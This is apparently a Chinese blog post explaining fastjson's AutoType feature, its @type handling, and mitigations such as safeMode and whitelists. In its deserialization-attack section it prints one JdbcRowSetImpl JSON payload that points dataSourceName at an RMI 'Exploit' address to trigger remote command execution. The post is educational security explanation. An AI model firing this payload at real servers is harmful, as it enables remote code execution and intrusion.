当前位置:网站首页>初探fastJson的AutoType
初探fastJson的AutoType
2022-07-29 05:20:00 【本本的香菜】
文章目录
1. AutoType 何方神圣?
参考 https://juejin.cn/post/6846687594130964488
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。
其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
- 1、基于属性
- 2、基于setter/getter
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。
1.1 type字段
假设我们有以下Java类:
public interface Fruit {
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Apple implements Fruit{
private BigDecimal price;
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Store {
private String name;
private Fruit fruit;
}
那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?
我们尝试着验证一下,基于(fastjson 1.2.75):
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用 JSON.toJSONString
进行序列化,可以得到以下JSON内容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢?我们再来执行以下代码:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
执行结果报错,我们尝试将Fruit转换成Apple,但是抛出了异常。
以上现象,我们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。
那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。
使用方法是通过 SerializerFeature.WriteClassName
进行标记,即将上述代码中的
String jsonString = JSON.toJSONString(store);
修改成:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
输出结果如下:
{
"@type":"com.example.redis.entity.Store",
"fruit":{
"@type":"com.example.redis.entity.Apple", //多了@type映射全类名,反序列就可以找到对应的类
"price":0.5
},
"name":"Hollis"
}
这就是AutoType,以及fastjson中引入AutoType的原因。
1.2 setAutoTypeSupport
首先,可以通过
ParserConfig.getGlobalInstance().isAutoTypeSupport(); //获取是否允许AutoType(默认是fasle)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 设置全局支持或禁止AutoType
尝试关闭AutoType后:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 设置全局支持或禁止AutoType
发现以上的代码还是可以 正常
的根据@type字段来反序列化。
但是如果使用了范型,如下:
再有以下Java类:
@Data
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class Result<T>{
private T data;
}
再对Store进行封装:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
//ParserConfig.getGlobalInstance().setSafeMode(true);
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
Result<Store> t = new Result<>(store);
String jsonString = JSON.toJSONString(t, SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
Result result = JSON.parseObject(jsonString, Result.class);
System.out.println("parseObject : " + result);
输出结果:
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
com.alibaba.fastjson.JSONException: autoType is not support. // 异常autoType is not support
....
若开启setAutoTypeSupport(true),
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
parseObject : Result(data=Store(name=Hollis, fruit=Apple(price=0.5))) //可以正常反序列化
2.反序列化攻击
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type
到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
那么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type
指定一个自己想要使用的攻击类库。
举个例子,黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl
,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。
如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。
3.AutoType 安全模式
这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化类变种攻击。
设置了safeMode后,@type 字段不再生效,即当解析形如{“@type”: “com.java.class”}的JSON串时,将不再反序列化出对应的类。(无论白名单和黑名单,都不支持autoType)。
ParserConfig.getGlobalInstance().setSafeMode(true);
所以一般使用AutoType时建议使用指定白名单的方式。
// 全局开启AutoType,不建议使用
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");
4.参考
边栏推荐
- 突破硬件瓶颈(一):Intel体系架构的发展与瓶颈挖掘
- 从Starfish OS持续对SFO的通缩消耗,长远看SFO的价值
- Bare metal cloud FASS high performance elastic block storage solution
- Laravel服务容器(上下文绑定的运用)
- 赓续新征程,共驭智存储
- From starfish OS' continued deflationary consumption of SFO, the value of SFO in the long run
- Thinkphp6 pipeline mode pipeline use
- centos7 静默安装oracle
- Flink connector Oracle CDC 实时同步数据到MySQL(Oracle12c)
- Thinkphp6管道模式Pipeline使用
猜你喜欢
闪贷Dapp的调研及实现
Go|Gin 快速使用Swagger
Synchronous development with open source projects & codereview & pull request & Fork how to pull the original warehouse
Starfish OS: create a new paradigm of the meta universe with reality as the link
Sliding switch of tab of uniapp component
如何零代码制作深度学习的趣味app(适合新手)
Move protocol global health declaration, carry out the health campaign to the end
Changed crying, and finally solved cannot read properties of undefined (reading 'parsecomponent')
The bear market is slow, and bit.store provides stable stacking products to help you get through the bull and bear market
全闪分布式,如何深度性能POC?
随机推荐
Changed crying, and finally solved cannot read properties of undefined (reading 'parsecomponent')
NIFI 改UTC时间为CST时间
C# 判断用户是手机访问还是电脑访问
打印出1-100之间的所有质数
Laravel service container (inheritance and events)
与张小姐的春夏秋冬(5)
Detailed steps of JDBC connection to database
“山东大学移动互联网开发技术教学网站建设”项目实训日志三
获取水仙花数
Breaking through the hardware bottleneck (I): the development of Intel Architecture and bottleneck mining
性能对比|FASS iSCSI vs NVMe/TCP
Laravel swagger add access password
马斯克推崇的柏拉图式元宇宙,PlatoFarm早已验证出答案
MOVE PROTOCOL全球健康宣言,将健康运动进行到底
如何 Pr 一个开源composer项目
Flink connector Oracle CDC 实时同步数据到MySQL(Oracle19c)
Plato Farm有望通过Elephant Swap,进一步向外拓展生态
DAO赛道异军突起,M-DAO的优势在哪里?
Thinkphp6管道模式Pipeline使用
Gluster集群管理小分析